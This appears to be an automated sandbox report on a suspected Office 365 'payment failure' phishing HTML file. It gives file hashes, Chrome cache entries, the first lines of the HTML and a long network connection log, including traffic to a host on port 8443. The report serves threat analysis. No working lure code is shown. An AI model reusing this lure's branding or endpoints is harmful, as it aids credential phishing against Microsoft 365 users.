.....{..8..W..2..zQdr./..@B..t'..s....=...>_.Z{:{..>.H..v...>..ZUo...Y.?..#..0...#.G@<.G..`...F..`...0.."`...F..`.&..&...D..#..0...#...k..`...F.......'`.y...#..0....:..F..`...F`..`B..I.!0...#..0.L....F..`....@..}.&....0...#..0...`...F..`.&..&...D..#..0...#...k..`...F.......'`.y...#..0....:..F..`...F`..`B..I.!0...#..0.L....F..`....@..}.&....0...#..0...`...F..`.&..&...D..#..0...#...k..`...F.......'`.y...#..0....:..F..`...F`..`B..I.!0...#..0.L....F..`....@..}.&....0...#..0...`...F..`.&..&...D..#..0...#...k..`...F.......'`.y...#..0....:..F..`...F`..`B..I.!0...#..0.L....F..`....@..}.&....0...#..0...`...F..`.&..&...D..#..0...#...k..`...F.......'`.y...#..0....:..F..`...F`..`B..I.!0...#..0.L....F..`....@..}.&....0...#..0...`...F..`.&..&...D..#..0...#...k..`...F.......'`.y...#..0....:..F..`...F`..`B..I.!0...#..0.L....F..`....@..}.&....0...#..0...`...F..`.&..&...D..#..0...#...k..`...F......

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.110577243331642
Encrypted:	false
SSDEEP:	3:DoyCIkYn:My7R
MD5:	86D2F51458C74E8CA9C547F8760B477B
SHA1:	028E46314FBD5C2C075D852B8100E85D9595F7FB
SHA-256:	32F02AC3C8E348CEB77C79A838ECF87FDA43EDA01446E26EC569816F0976D814
SHA-512:	C404F69390FCD86A1DC4D4A4BA5B138EFA164290FD6A65D2A1511E49A9F7D96A8CE15BEBA81DF4DA605DC8CF8B4A6130B256C14DF23FD5590DEADD7CFAE5A466
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwlyOX4OCb3HphIFDTAIpukSBQ14RS7i?alt=proto
Preview:	ChIKBw0wCKbpGgAKBw14RS7iGgA=

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	18290
Entropy (8bit):	7.984830477098903
Encrypted:	false
SSDEEP:	384:ztaT1xG518xqUm7x84M+eYzwITvPJfYZbmjQt3BBf8qG:BaT1xJxq37x8xc1NYwMt3/8V
MD5:	056717308CA50B4DA142459763CBE41F
SHA1:	A0B8E56D12C113205AE51E370AE464EB73505E30
SHA-256:	D47C691FBC6606D8D3120EC32BCEE8E6E56A5D71D419801376AE8B2C2410B3E2
SHA-512:	9440706AF0D57BF1EC7D479C831A068FDA98C03F28766039C9E67E56CD6808E428DA3B56C73D1CEBD1E0FCCDC1BCC8B8328B79AF034736BA661E16C4C5C0D1D7
Malicious:	false
URL:	https://static.wikia.nocookie.net/logopedia/images/7/7f/Microsoft_365_Admin.png/revision/latest?cb=20241113153458
Preview:	RIFFjG..WEBPVP8X..............ALPHg......m.F..{.N.gDL.~0y.y...S..1....#z.....l.~3...$."h..!..k....CR...:.Z...Z....jq....F......8....3...i....S.k... ....@....../..z.6......DD@...._..j.W............-.}.t. _Y.......q.z.i..?o...>....Nn..c.2.....<1........n..<S..../.k2.E.L....G.bl.qy..K...I._JD..K.kS/6\|..b.y.....~.J^.YtcW.-....W!.4..-.u7ZH.......i..k.......i.A7..T...).....Q.$U.&7..V.bU..H...M5..ZE......6..J..`"U....).W.O4J.iO^..x.E..q..q.....i...W/...8.....w...R..;qM..{:..0..gm.e..6....:.{..z..[........2.0..%_570.......vfKV.....E..e.u4F..A.H\.'?..3quG\|.?K[....U.7.1H.i.qC...>,U1F..#nY9..&vX.;..p]+#=..K....j Ma..M.....(.W....}.6I...q....h.&pZ.@.y.+=.(....S.p...."..ZJO...".pk7/...E.).7.~....G.7#...9.a..]>q..g.i1.q......D+....".b.pi.U J...}....%..4...R...i..yc.Bx.<`!Ri..'...6"....z......<..9Z..N)!.ziL-.p.Vg.)......O`.....ojL.Y..9kFL......Y......RBR.7.(....3.V.....:...=g....N_N..Wa6;E.L.7W.=.I.r.........<...?i#.Z......F.........].O.d.?N'.Ub'.h/.~l

Static File Info

General

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	4.587471068937848
TrID:	HyperText Markup Language (15015/1) 20.56% HyperText Markup Language (12001/1) 16.44% HyperText Markup Language (12001/1) 16.44% HyperText Markup Language (11501/1) 15.75% HyperText Markup Language (11501/1) 15.75%
File name:	Payment_Failure_Notice_Office365_sdf_[13019].html
File size:	5'851 bytes
MD5:	a938e38d728448bad3796025563e3307
SHA1:	404c6bc9c4a7f99d4997e3ca4a33a1c746c962a1
SHA256:	f4895b6dc342ad896d24e4ef2e49eabfbe5bbdbe530c8540c99853662e279d5e
SHA512:	7b40b555f076c4f396ba67d16ed9711cab1755cf8ce39ed0c0859055e7f1e642d39d61c1775c6cabe4afe6c8a0dc2f0398f9f0b257c6be714d4737f84b05971b
SSDEEP:	96:ADRFcVChD8jO4QPbiYlCk/obfolq5m/MaADCwigGi/wC6DGt7P/t:ADSChD8jOUOA2Wu2Gi/wUt7P/t
TLSH:	3CC1414A26520008857393B85F93822CFB68B913734286497FAEA7454FBE740C5F6FEC
File Content Preview:	<!DOCTYPE html>..<html lang="fr">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title> (4308) 23932502553749</title>.. <style>.. * {.. margin: 0;.. pa

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 21:10:48.945148945 CET	443	49707	20.198.118.190	192.168.2.6
Dec 18, 2024 21:10:48.987341881 CET	49707	443	192.168.2.6	20.198.118.190
Dec 18, 2024 21:10:49.176457882 CET	443	49707	20.198.118.190	192.168.2.6
Dec 18, 2024 21:10:49.221693993 CET	49707	443	192.168.2.6	20.198.118.190
Dec 18, 2024 21:10:49.368125916 CET	443	49707	20.198.118.190	192.168.2.6
Dec 18, 2024 21:10:49.369484901 CET	49707	443	192.168.2.6	20.198.118.190
Dec 18, 2024 21:10:49.489099979 CET	443	49707	20.198.118.190	192.168.2.6
Dec 18, 2024 21:10:49.911781073 CET	443	49707	20.198.118.190	192.168.2.6
Dec 18, 2024 21:10:49.955981016 CET	49707	443	192.168.2.6	20.198.118.190
Dec 18, 2024 21:10:51.768537045 CET	49674	443	192.168.2.6	173.222.162.64
Dec 18, 2024 21:10:51.768634081 CET	49673	443	192.168.2.6	173.222.162.64
Dec 18, 2024 21:10:52.034073114 CET	49672	443	192.168.2.6	173.222.162.64
Dec 18, 2024 21:10:58.214818001 CET	49713	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:10:58.214898109 CET	443	49713	20.198.119.84	192.168.2.6
Dec 18, 2024 21:10:58.215001106 CET	49713	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:10:58.223325014 CET	49713	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:10:58.223356962 CET	443	49713	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:00.242784977 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:00.242811918 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:00.243338108 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:00.243338108 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:00.243364096 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:00.436856031 CET	443	49713	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:00.437172890 CET	49713	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:00.451167107 CET	49713	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:00.451198101 CET	443	49713	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:00.451535940 CET	443	49713	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:00.457895041 CET	49713	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:00.458053112 CET	49713	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:00.458061934 CET	443	49713	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:00.458448887 CET	49713	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:00.499330044 CET	443	49713	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:01.060151100 CET	49722	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:01.060213089 CET	443	49722	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:01.060276985 CET	49722	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:01.060812950 CET	49722	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:01.060827971 CET	443	49722	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:01.124416113 CET	443	49713	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:01.124505997 CET	443	49713	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:01.124562979 CET	49713	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:01.124947071 CET	49713	443	192.168.2.6	20.198.119.84
Dec 18, 2024 21:11:01.124970913 CET	443	49713	20.198.119.84	192.168.2.6
Dec 18, 2024 21:11:01.376513004 CET	49673	443	192.168.2.6	173.222.162.64
Dec 18, 2024 21:11:01.500577927 CET	49674	443	192.168.2.6	173.222.162.64
Dec 18, 2024 21:11:01.622160912 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:01.627366066 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:01.627386093 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:01.628985882 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:01.629240036 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:01.631823063 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:01.631958008 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:01.633224964 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:01.633236885 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:01.657659054 CET	49672	443	192.168.2.6	173.222.162.64
Dec 18, 2024 21:11:01.831573009 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:02.236011982 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.236073017 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.236093044 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.236124039 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.236140013 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.236156940 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.236191988 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:02.236212015 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.236390114 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:02.306673050 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.306698084 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.306752920 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:02.306771994 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.306813002 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.306878090 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:02.306878090 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:02.307760000 CET	49717	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:02.307780027 CET	443	49717	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.398329973 CET	443	49722	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.405184031 CET	49722	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:02.405215025 CET	443	49722	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.406388998 CET	443	49722	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.406485081 CET	49722	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:02.407183886 CET	49722	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:02.407246113 CET	443	49722	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.467289925 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:02.467359066 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:02.467451096 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:02.467716932 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:02.467731953 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:02.548696995 CET	49722	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:02.548729897 CET	443	49722	74.120.190.204	192.168.2.6
Dec 18, 2024 21:11:02.659025908 CET	49722	443	192.168.2.6	74.120.190.204
Dec 18, 2024 21:11:03.801096916 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:03.801454067 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:03.801482916 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:03.802481890 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:03.802548885 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:03.802939892 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:03.803008080 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:03.803123951 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:03.803131104 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:03.879519939 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:03.925874949 CET	49734	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:11:03.925936937 CET	443	49734	142.250.181.132	192.168.2.6
Dec 18, 2024 21:11:03.926032066 CET	49734	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:11:03.926289082 CET	49734	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:11:03.926305056 CET	443	49734	142.250.181.132	192.168.2.6
Dec 18, 2024 21:11:04.090637922 CET	443	49704	173.222.162.64	192.168.2.6
Dec 18, 2024 21:11:04.090806961 CET	49704	443	192.168.2.6	173.222.162.64
Dec 18, 2024 21:11:04.347475052 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.347526073 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.347536087 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.347548962 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.347558022 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.347588062 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.347592115 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.347620964 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.347632885 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.347640991 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.528670073 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.528738022 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.528768063 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.528808117 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.528832912 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.579714060 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.579766989 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.579788923 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.579813004 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.579835892 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.579858065 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.579879045 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.579912901 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.579927921 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.579952955 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.701714993 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.701730013 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.701769114 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.701786041 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.701797009 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.701801062 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.701822042 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.701845884 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.701879978 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.701903105 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.728466034 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.728483915 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.728507042 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.728513956 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.728535891 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.728548050 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.728570938 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.728647947 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.753829956 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.753854990 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.753880978 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.753897905 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.753906012 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.753947020 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.753952026 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.754026890 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.754040003 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.754055977 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:04.754101992 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.777621984 CET	49723	443	192.168.2.6	74.120.190.194
Dec 18, 2024 21:11:04.777647972 CET	443	49723	74.120.190.194	192.168.2.6
Dec 18, 2024 21:11:05.180435896 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:05.298780918 CET	49740	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:05.300299883 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:05.300477028 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:05.300945997 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:05.418728113 CET	8443	49740	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:05.418873072 CET	49740	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:05.419243097 CET	49740	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:05.420900106 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:05.538760900 CET	8443	49740	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:05.627583981 CET	443	49734	142.250.181.132	192.168.2.6
Dec 18, 2024 21:11:05.635281086 CET	49734	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:11:05.635329962 CET	443	49734	142.250.181.132	192.168.2.6
Dec 18, 2024 21:11:05.636581898 CET	443	49734	142.250.181.132	192.168.2.6
Dec 18, 2024 21:11:05.636640072 CET	49734	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:11:05.639404058 CET	49734	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:11:05.639553070 CET	443	49734	142.250.181.132	192.168.2.6
Dec 18, 2024 21:11:05.731527090 CET	49734	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:11:05.731551886 CET	443	49734	142.250.181.132	192.168.2.6
Dec 18, 2024 21:11:05.857453108 CET	49734	443	192.168.2.6	142.250.181.132
Dec 18, 2024 21:11:06.409674883 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:06.409785986 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:06.409832001 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:06.412925959 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:06.413311005 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:06.413768053 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:06.510163069 CET	8443	49740	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:06.510211945 CET	8443	49740	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:06.510293007 CET	49740	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:06.512897968 CET	49740	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:06.532515049 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:06.532800913 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:06.533282995 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:06.632668972 CET	8443	49740	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:06.726881027 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:06.727190018 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:06.827521086 CET	8443	49740	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:06.847142935 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:06.881182909 CET	49740	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:06.882404089 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:06.882435083 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:06.882452011 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:06.882466078 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:06.882533073 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:06.883167028 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:06.883177996 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:06.883235931 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:06.883287907 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:06.883796930 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:06.883796930 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:06.883809090 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:06.883829117 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:06.883877039 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:06.883888960 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:06.883953094 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:06.883956909 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:06.883963108 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:06.884618998 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:06.884625912 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:06.961313963 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.006172895 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.042978048 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.092629910 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.143737078 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.143759966 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.143773079 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.143784046 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.143796921 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.143846989 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.146552086 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.146703005 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.146730900 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.154864073 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.154881001 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.154930115 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.163163900 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.163249016 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.163310051 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.171139956 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.171155930 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.171278954 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.213448048 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.235874891 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.235940933 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.263499022 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.293917894 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:07.293968916 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:07.294399023 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:07.294723034 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:07.294748068 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:07.313844919 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.335041046 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.335135937 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.335273981 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.339071989 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.340581894 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.340679884 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.340738058 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.349036932 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.349117994 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.349252939 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.357458115 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.357647896 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.357719898 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.365864992 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.365927935 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.366003036 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.374306917 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.374358892 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.374413967 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.382659912 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.382759094 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.382761955 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.391185999 CET	8443	49739	172.67.150.25	192.168.2.6
